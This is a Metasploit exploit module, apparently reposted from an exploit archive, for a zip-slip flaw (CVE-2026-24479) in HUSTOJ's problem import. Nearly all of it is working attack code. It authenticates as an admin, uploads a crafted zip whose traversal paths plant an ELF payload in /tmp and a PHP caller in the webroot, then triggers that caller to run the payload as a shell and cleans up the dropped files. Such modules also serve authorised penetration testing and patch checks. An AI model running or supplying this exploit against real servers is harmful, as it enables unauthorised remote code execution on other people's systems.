Share
## https://sploitus.com/exploit?id=PACKETSTORM:221161
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'digest/md5'
    # Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Retry
      include Msf::Exploit::EXE
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE',
            'Description' => <<~DESC,
              A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
              using a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the
              webroot, where they can extract a PHP file that spawns a shell to get full RCE in the
              context of the webserver.
            DESC
            'Author' => [
              'oxagast', # exploit author
              'LoTuS and friends', # chinese to english translations
              'ling101w' # original discovery
            ],
            'License' => MSF_LICENSE,
            'Arch' => [ARCH_X64],
            'References' => [
              [
                'URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
                '/CVE-2026-24479/hustoj_problem_import_rce.rb'
              ],
              [
                'URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
                '6899314b33101f'
              ],
              ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
              ['CVE', '2026-24479'],
              ['CWE', '22']
            ],
            'Platform' => 'linux',
            'Targets' => [['Auto', {} ]],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            },
            'DisclosureDate' => '2026-01-26'
          )
        )
        register_options(
          [
            OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
            OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", nil]),
            OptString.new('DROPFILE', [false, 'The name of the file to drop on the target (without extension)', 'RANDOM']),
            OptString.new('SERVLOC', [true, 'The location HUSTOJ is being served from', '/home/judge']),
            OptBool.new('FORCE', [false, 'Try to exploit even if it will probably fail', false]),
            OptInt.new('TRAVERSE_LIMIT', [true, 'Number of ../ traversals to include in zip slip paths', 6]),
            OptInt.new('TIME_LIMIT', [true, 'Time limit for the exploit to succeed in seconds', 60])
          ]
        )
      end
    
      # Authenticate as admin and return session cookies
      def login(user, pass)
        check = send_request_cgi(
          'uri' => '/include/reinfo.js',
          'method' => 'GET',
          'ctype' => 'application/javascript'
        )
        if check.nil?
          fail_with(Failure::Unreachable, 'Failed to connect to the target webserver!')
        else
          print_good("Connected to the target webserver! #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
        end
        # try to figure out what we are running against
        unless check && check.code == 200
          if check && check.code == 404
            print_error('Target returned 404 for /include/reinfo.js, this is not HUSTOJ!')
          else
            print_error('Target responded, but check did not pass!')
          end
          unless datastore['FORCE']
            fail_with(Failure::NotFound, 'Could not find reinfo.js. Target is not running HUSTOJ! Try FORCE.')
          end
        end
        unless check && check.code == 200 && check.body && check.body.include?('function escapeHtml(str) {') == false
          print_error('Target appears to be running HUSTOJ, but my be a patched version!')
          unless datastore['FORCE']
            print_error('Body check does not contain escapehtml function...')
            fail_with(Failure::NotVulnerable, 'Target is running a patched version of HUSTOJ!  Try FORCE.')
          end
        end
        if check && check.code == 200 && check.body && check.body.include?('var ret=pat.exec(errmsg);') && check.body.include?('function escapeHtml(str) {') == false
          print_good('Good! Target appears to be running a vulnerable version of HUSTOJ!')
        else
          print_error('Target does not appear to be running a vulnerable version of HUSTOJ!')
          unless datastore['FORCE']
            print_error('Body check does not contain pat.exec function')
            fail_with(Failure::NotFound, 'Target is not HUSTOJ or is a patched version!  Try FORCE.')
          end
        end
        send_request_cgi(
          'method' => 'POST',
          'uri' => '/login.php',
          'keep_cookies' => true,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            'user_id' => user,
            'password' => Digest::MD5.hexdigest(pass)
          }
        )
    
        # Check if login was successful
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => '/modifypage.php',
          'keep_cookies' => true
        )
        # we check for userinfo.php because it doesn't exist if our login fails
        unless res && res.code == 200 && res.body && res.body.include?('userinfo.php')
          fail_with(Failure::NoAccess, 'Failed to authenticate! Check credentials.')
        end
        stars = '*' * pass.length
        print_good("Logged in successfully! #{user}:#{stars}")
        # Check if the account has admin privileges
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => '/admin/menu2.php',
          'keep_cookies' => true
        )
        unless res && res.code == 200 && res.body && res.body.include?('problem_import.php')
          fail_with(Failure::NoAccess, 'Authenticated but does not appear to have admin privileges!')
        end
        return true
      end
    
      # Upload the malicious zip payload using the admin session
      def upload_payload(zip_dat, _rand_tag, dds)
        zip_size_kb = (zip_dat.length / 1024.0).round(2)
        print_status("Uploading the payload... #{zip_size_kb}kb")
        form_data = Rex::MIME::Message.new
        # it is ncessary for the MIME type to be application/octet-stream instead of application/zip
        # for this to work when using Rex::MIME::Message, otherwise no POST req is ever made.  Not
        # entirely sure what causes this.
        form_data.add_part(zip_dat, 'application/octet-stream', nil, "form-data; name=\"fps\"; filename=\"#{datastore['DROPFILE']}.zip\"")
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => '/admin/problem_import_qduoj.php',
          'keep_cookies' => true,
          'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
          'data' => form_data.to_s
        )
        if res && res.code == 200
          print_good("Payload uploaded! #{datastore['DROPFILE']}.zip")
          print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['TRAVERSE_LIMIT']})")
        else
          fail_with(Failure::UnexpectedReply, 'Failed to upload the payload! Check your session and try again.')
        end
      end
    
      # Trigger the uploaded PHP shell to execute the payload
      def trigger_sploit(rand_tag)
        print_status("Triggering the php script... #{datastore['DROPFILE']}-#{rand_tag}.php")
        trig = send_request_raw(
          {
            'uri' => "/#{datastore['DROPFILE']}-#{rand_tag}.php",
            'method' => 'GET'
          }
        )
        if trig && trig.code == 200
          sleep(2) # give it a moment to pop the session before we ret
          return true
        end
      end
    
      # Clean up dropped files after exploitation
      def cleanup
        super
        # prevents the cleanup routine from running multiple times (reduses log noise)
        send_request_raw(
          {
            'uri' => "/#{datastore['DROPFILE']}-cu.php",
            'method' => 'GET'
          }
        )
        print_status('Cleaning up the payload caller and shell files...')
      end
    
      # Main exploit logic
      def exploit
        # Authenticate, upload, and trigger the exploit!
        if datastore['DROPFILE'] == 'RANDOM'
          datastore['DROPFILE'] = Rex::Text.rand_text_alpha(3)
        end
        opts = {
          format: 'elf'
        }
        shell_gend = generate_payload_exe(opts)
        unless datastore['DROPFILE'].match?(/\A\w+\z/)
          fail_with(Failure::BadConfig, 'DROPFILE should be alphanumeric.')
        end
        if shell_gend.empty?
          fail_with(Failure::PayloadFailed, 'Payload generation failed!  Try a different payload?')
        end
        print_good("Payload generated! #{datastore['PAYLOAD']}")
        # Generate a random tag for file uniqueness
        rand_tag = Rex::Text.rand_text_alpha(5)
        print_status("Random payload tag #{rand_tag}")
        # PHP script to call the ELF payload
        shell_caller = "<?php http_response_code(200); fastcgi_finish_request(); chmod('/tmp/#{datastore['DROPFILE']}-#{rand_tag}', 0700); system('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); ?>"
        # PHP script to clean up dropped files
        cleanup_caller = "<?php unlink('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}" \
          "-#{rand_tag}.php'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php'); ?>"
        dds = '../' * datastore['TRAVERSE_LIMIT'] # Directory traversal string for zipslip
        # Files to include in the malicious zip (zipslip paths for traversal)
        # problem_1010 in/out files can be empty, but should be in the zip to ensure serverside import
        files = [
          { data: shell_gend, fname: "#{dds}tmp/#{datastore['DROPFILE']}-#{rand_tag}" },
          { data: shell_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-#{rand_tag}.php" },
          { data: cleanup_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php" },
          { data: '{}', fname: 'problem_1010.json' },
          { data: '', fname: 'problem_1010/1.in' },
          { data: '', fname: 'problem_1010/1.out' }
        ]
        # Create the malicious zip archive
        zip_dat = Msf::Util::EXE.to_zip(files)
        fail_with(Failure::PayloadFailed, 'Zip generation failed!') if zip_dat.empty?
        print_good("Zip file generated! Files: #{files.length}")
        unless datastore['TRAVERSE_LIMIT'] >= 2
          fail_with(Failure::BadConfig, 'TRAVERSE_LIMIT should be at least 2 to ensure the zip slip can reach the root of the fs!')
        end
        unless datastore['USERNAME'] && datastore['PASSWORD']
          fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must be set to an admin account!')
        end
        unless login(datastore['USERNAME'], datastore['PASSWORD']) && upload_payload(zip_dat, rand_tag, dds)
          fail_with(Failure::Unknown, 'Something strange happened in the login or upload!')
        end
        popped = retry_until_truthy(timeout: datastore['TIME_LIMIT']) do
          trigger_sploit(rand_tag)
        end
        unless popped
          fail_with(Failure::PayloadFailed, 'Failed to trigger the payload within timeout!  Check your listener?')
        end
      end
    end